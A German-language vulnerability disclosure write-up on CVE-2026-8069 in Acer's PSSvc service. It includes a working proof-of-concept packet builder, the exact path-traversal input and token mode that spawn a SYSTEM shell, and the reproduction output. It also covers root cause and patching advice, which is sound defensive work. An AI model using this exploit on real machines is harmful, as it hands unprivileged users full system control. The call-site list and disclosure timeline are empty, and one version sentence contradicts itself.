Von einer Acer Named Pipe zu NT AUTHORITY\SYSTEM: CVE-2026-8069

Acer NitroSense und PredatorSense 3.x installierten einen Windows-Dienst namens PSSvc, der ein benutzerdefiniertes Named-Pipe-Protokoll für lokale Benutzer bereitstellte. Ein Protokollbefehl akzeptierte einen vom Aufrufer kontrollierten ausführbaren Pfad, duplizierte das Token von winlogon.exe und startete diese ausführbare Datei als NT AUTHORITY\SYSTEM.

Die Pfadeinschränkung im verwundbaren Dienst war ein Substring-Test. Ein Pfad, der innerhalb des Dienstverzeichnisses begann und dann ..\-Komponenten verwendete, bestand den Test, löste aber an anderer Stelle auf. In Kombination mit der permissiven Zugriffskontrolle der Pipe und dem Fehlen einer Aufrufer-Autorisierung ermöglichte dies einem normalen lokalen Benutzer, einen SYSTEM-Prozess zu erhalten.

Acer vergab CVE-2026-8069, veröffentlichte korrigierte Versionen und würdigte Artem Domarev von der Universität Hradec Králové in seiner Sicherheitsempfehlung.

Dieser Artikel konzentriert sich auf den Prozesserstellungs-/LPE-Pfad. Acers Empfehlung beschreibt auch das Löschen beliebiger Dateien, das außerhalb des Rahmens dieser Validierung lag.

Warum ich diese Forschungsrichtung gewählt habe

Die Wahl der Forschungsrichtung wurde auch durch eine öffentliche Analyse von OEM-Software beeinflusst, die von Leon Jacobs von SensePost veröffentlicht wurde. Diese Arbeit dokumentierte Schwachstellen in ASUS DriverHub, MSI Center, Acer Control Centre und Razer Synapse 4 (Jacobs, 2025). Sie untermauerte die Idee, dass vom Hersteller gelieferte Hardware-Dienstprogramme eine bedeutende und wenig erforschte Angriffsfläche darstellen können. Anstatt Acer Control Centre erneut zu untersuchen, erweiterte ich die Untersuchung auf eine andere Acer-Produktfamilie: NitroSense und PredatorSense.

Zusammenfassung

Die Ausbeutungskette ist kurz:

authentifizierter lokaler Benutzer
        │
        ▼
permissive PSSvc Named Pipe
        │  benutzerdefinierter Befehl 0x0007
        ▼
nur-Substring-Pfadprüfung
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
Duplizieren des winlogon.exe-Tokens der aktiven Sitzung
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

Eine Warnung zur Versionsnummer

Es gibt eine Inkonsistenz in der öffentlichen Formulierung. Acers Seite besagt, dass NitroSense-Versionen „vor 3.01.3052" betroffen sind, doch die vom Hersteller signierte PSSvc.exe-Version 3.1.3052.0, die für diesen Artikel getestet wurde, ist nachweislich verwundbar. Dieselbe Seite identifiziert NitroSense 3.01.3056 als korrigierte Version. Der NVD-Anwendbarkeitsbereich erstreckt sich ebenfalls bis einschließlich, aber nicht einschließlich 3.01.3056.

Für PredatorSense endet Acers Satz zu betroffenen Versionen vor 3.00.3196, während die aufgeführte korrigierte Version 3.00.3198 ist und NVD letztere als obere Grenze verwendet.

Die konservative operative Regel ist daher einfach: Verwenden Sie den mehrdeutigen Satz zu „betroffenen" Versionen nicht als Patch-Prüfung. Aktualisieren Sie mindestens auf die von Acer genannten korrigierten Versionen — PredatorSense 3.00.3198 oder NitroSense 3.01.3056 — oder ein neueres modellkompatibles Paket.

Getestete Artefakte

Das Problem wurde mit dem ursprünglichen NitroSense-Paket reproduziert.

Die Authenticode-Signatur der PSSvc.exe wurde erfolgreich validiert und führte zu Acer Incorporated. Das MSI installierte PSSvc als bedarfsgestarteten Dienst mit eigenem Prozess, der als LocalSystem läuft.

Wie ich den verwundbaren Pfad gefunden habe

1. Beginnen Sie mit dem privilegierten Dienst

Das NitroSense-Paket installiert:

SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

Ein SYSTEM-Dienst ist nicht automatisch verwundbar. Die wichtige Frage ist, ob ein Prozess mit geringeren Rechten Funktionen erreichen kann, die unter der Annahme entworfen wurden, dass ihr Aufrufer vertrauenswürdig ist.

Die String-Analyse legte sofort den IPC-Endpunkt offen:

\\.\pipe\predatorsense_service_namedpipe

2. Untersuchen Sie die Sicherheitsbeschreibung der Named Pipe

Bei 0x140014AD0 erstellt der Dienst die Pipe und übergibt eine explizite Sicherheitsbeschreibung an CreateNamedPipeW:

D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Dies ist eine wichtige explizite Korrektur: Der verwundbare Build übergibt keine NULL-Beschreibung. Er erstellt eine permissive DACL.

Die AU-ACE reicht aus, damit ein normaler authentifizierter Benutzer die Pipe zum Lesen und Schreiben öffnen kann. Der Server führt dann keine Client-Impersonalisierung durch und trifft keine Autorisierungsentscheidung, bevor er privilegierte Befehle verteilt.

3. Wiederherstellen des Drahtformats

Der Client-Thread bei 0x14000ABB0 liest Nachrichten in einen 512-Byte-Puffer. Er parst die ersten drei Bytes als 16-Bit-Befehlsnummer und 8-Bit-Argumentanzahl. Jedes Argument ist längenpräfixiert:

Offset  Größe  Bedeutung
0x00    2     Befehls-ID, Little-Endian
0x02    1     Anzahl der Argumente
0x03    4     Länge von Argument 0
0x07    n     Bytes von Argument 0
...           wiederholte DWORD-Länge + Wert

String-Argumente sind UTF-16LE. Integer-Argumente sind Little-Endian-DWORDs. Der Dispatcher akzeptiert Befehls-IDs unterhalb von 0x23 und verwendet sie als Indizes in eine 35 Einträge umfassende Funktionstabelle bei 0x140052C90.

Der Eintrag für Befehl 0x0007 zeigt auf 0x14000BFD0.

4. Befehl 0x0007 folgen

Auf sein sicherheitsrelevantes Verhalten reduziert, sieht der Handler wie folgt aus:

int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr beantwortet nur, ob eine Zeichenkette in einer anderen vorkommt. Es kanonisiert keinen Pfad, löst keine Punktsegmente auf, öffnet keine Datei und beweist nicht, dass das endgültige Objekt unter einem vertrauenswürdigen Verzeichnis bleibt.

Angenommen, der Dienst ist installiert in:

C:\Program Files\Acer\NitroSense_Service

Der folgende Pfad enthält dieses Verzeichnis an Offset Null, sodass wcsstr erfolgreich ist:

C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows löst die Punktsegmente auf zu:

C:\WINDOWS\System32\cmd.exe

Das ist ein klassischer Kanonisierungsfehler: Die Validierung wird an einer Textdarstellung durchgeführt, während die sensible Operation ihre normalisierte Bedeutung konsumiert.

5. Dem Token-Zweig folgen

Der Prozessstart-Helfer bei 0x1400091F0 hat einen speziellen Zweig, wenn das zweite Argument 0x72 (dezimal 114) ist. Er:

1. ermittelt die ID der aktiven Konsolensitzung;
2. fragt das Token des aktiven Benutzers ab und erstellt einen Umgebungsblock;
3. zählt Prozesse mit CreateToolhelp32Snapshot auf;
4. lokalisiert winlogon.exe in der aktiven Sitzung;
5. öffnet den Prozess und sein Token;
6. dupliziert das Token als primäres Token;
7. setzt das duplizierte Token auf hohe Integrität; und
8. startet den vom Aufrufer gelieferten Pfad auf winsta0\default.

Die kritischen Aufrufstellen im getesteten Binärprogramm waren:

Das bedeutet, Befehl 0x0007 bittet einen Dienst nicht nur darum, eines seiner eigenen vertrauenswürdigen Tools zu starten. Er legt einen allgemeinen SYSTEM-Token-Prozessstarter für eine Pipe offen, auf die normale Benutzer zugreifen können.

Erstellen des PoC

Der wesentliche Paket-Builder ist klein:

import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# Der Handler erwartet den Pfad, den Token-Modus und acht zusätzliche Slots.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

Das vollständige Validierungsskript öffnet die Pipe mit CreateFileW, setzt den Nachrichtenmodus, sendet dieses Paket und dekodiert die Antwort des Dienstes. Es ermittelt den installierten Dienstpfad, anstatt ihn fest zu codieren, und prüft das normalisierte Ziel, bevor es etwas sendet.

Das vollständige Skript, das für diesen Artikel verwendet wurde, ist als acer_cve_2026_8069_poc.py verfügbar.

Reproduktion

Schritt 1: Verwundbaren Build installieren

Das Setup.exe des Herstellers führt Hardwareprüfungen durch und liefert private MSI-Eigenschaften. Ich extrahierte NitroSense.msi und stellte diese Eigenschaften aus dem .NET-Bootstrapper wieder her:

$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

Diese Eigenschaften reproduzieren den Installationspfad des Bootstrappers auf Hardware, die seine Umgebungsprüfungen nicht besteht.

Nach der Installation überprüfte ich die Dateiversion, SHA-256 und Signatur und startete dann den bedarfsgestarteten Dienst:

sc.exe qc PSSvc
sc.exe start PSSvc

Schritt 2: Ein normales lokales Konto verwenden

Die Anfrage wurde von einem normalen, nicht-administrativen lokalen Konto gesendet, das mit mittlerer Integrität läuft.

Schritt 3: Befehl 0x0007 auslösen

Von diesem Konto aus:

py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

Der Dienst gab zurück:

[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

Schritt 4: Unabhängig verifizieren

Die Erfolgsmeldung des PoC ist für sich genommen nicht der Beweis. Ich fragte den resultierenden Prozess unabhängig über einen administrativen Beweiskanal ab:

Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

Die SYSTEM-Shell war ein direktes Kind von PSSvc.exe in der interaktiven Sitzung, wobei der Traversal-Pfad in ihrer Befehlszeile erhalten blieb.

Ich verfolgte auch die Dienst-APIs während der erfolgreichen Anfrage. Die Ablaufverfolgung zeichnete aktive Sitzung 1, ein erfolgreiches WTSQueryUserToken, eine Prozess-Snapshot, ein OpenProcess für das winlogon.exe der Sitzung, erfolgreiches DuplicateTokenEx, Integritäts-Token-Modifikation und eine Erfolgsrückgabe vom Prozessstart-Helfer auf.

Grundursache

Dies war kein einzelner isolierter schlechter Vergleich. Die Ausbeutung erforderte, dass mehrere Vertrauensfehler zusammenkamen:

1. Die Pipe-DACL erlaubte authentifizierten Benutzern das Lesen und Schreiben.
2. Der Server akzeptierte einen benutzerdefinierten privilegierten Befehl, ohne den Client zu authentifizieren oder zu autorisieren.
3. Die Ausführungs-Allowlist wurde mit wcsstr statt mit kanonischer Pfadvalidierung implementiert.
4. Der Befehl legte Code offen, der absichtlich ein hochprivilegiertes winlogon.exe-Token duplizierte.
5. Der Aufrufer kontrollierte den Anwendungspfad, der letztendlich an die Prozesserstellung übergeben wurde.

Das Entfernen eines einzigen der letzten vier Glieder hätte diesen LPE-Pfad verhindert. Defense in Depth sollte alle entfernen.

Abhilfe-Empfehlungen

Acers unterstützte Abhilfe besteht darin, auf PredatorSense 3.00.3198, NitroSense 3.01.3056 oder neuer zu aktualisieren. Verwenden Sie das Paket, das Acer für die Seriennummer oder SNID des Geräts anbietet, wie in der Hersteller-Empfehlung beschrieben.

Für Entwickler privilegierter Windows-Dienste sind die allgemeineren Lehren:

• Geben Sie der Pipe die engste praktikable ACL — normalerweise dienstspezifische Prinzipalen, SYSTEM und Administratoren — nicht allen authentifizierten Benutzern.
• Authentifizieren Sie jeden Client und autorisieren Sie jeden Befehl. Der Pipe-Zugriff allein ist keine Autorisierungsentscheidung.
• Impersonalisieren Sie den Pipe-Client, wenn Sie bewerten, wer fragt, und setzen Sie dann eine dokumentierte Richtlinie durch.
• Kanonisieren und lösen Sie einen Pfad vor der Validierung auf. Vergleichen Sie Pfadkomponenten mit korrekten Grenz- und Groß-/Kleinschreibungsregeln und berücksichtigen Sie Reparse-Punkte und Links.
• Bevorzugen Sie eine Allowlist unveränderlicher ausführbarer Identitäten gegenüber einem vom Aufrufer kontrollierten Pfad.
• Legen Sie Token-Duplikation oder beliebige Prozesserstellung nicht über einen Allzweck-Local-IPC-Dispatcher offen.
• Protokollieren Sie abgelehnte Befehle und sicherheitsrelevante Aufruferinformationen, ohne Geheimnisse aufzuzeichnen.

Offenlegungszeitplan

Abschließende Gedanken

Lokale Named Pipes werden leicht mit vertrauenswürdigen Grenzen verwechselt. Sie sind nur Transportmechanismen. Wenn ein SYSTEM-Dienst einen Befehlsdispatcher bereitstellt, werden seine Pipe-ACL, Aufrufer-Autorisierung, Argumentvalidierung und privilegierte Implementierung alle Teil der Sicherheitsgrenze.

Hier erreichte eine permissive Pipe eine Token-Duplikationsroutine, und eine Substring-Prüfung versuchte, Pfad-Eindämmung zu ersetzen. Das Ergebnis war ein zuverlässiger Übergang von einem normalen lokalen Benutzer zu NT AUTHORITY\SYSTEM.

Referenzen

• Acer: PredatorSense and NitroSense Software v3 Security Vulnerability Information
• GitHub Advisory Database: CVE-2026-8069 / GHSA-67h9-58cf-72hp
• NVD: CVE-2026-8069
• CVE.org: CVE-2026-8069
• Jacobs, L. (2025, 24. Juli). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

Lizenz

Der Bericht und die ursprünglichen Forschungsmedien sind unter Creative Commons Attribution 4.0 International lizenziert. Der PoC-Quellcode ist unter der MIT-Lizenz lizenziert. Siehe LICENSE.md für Umfang und Ausschlüsse Dritter.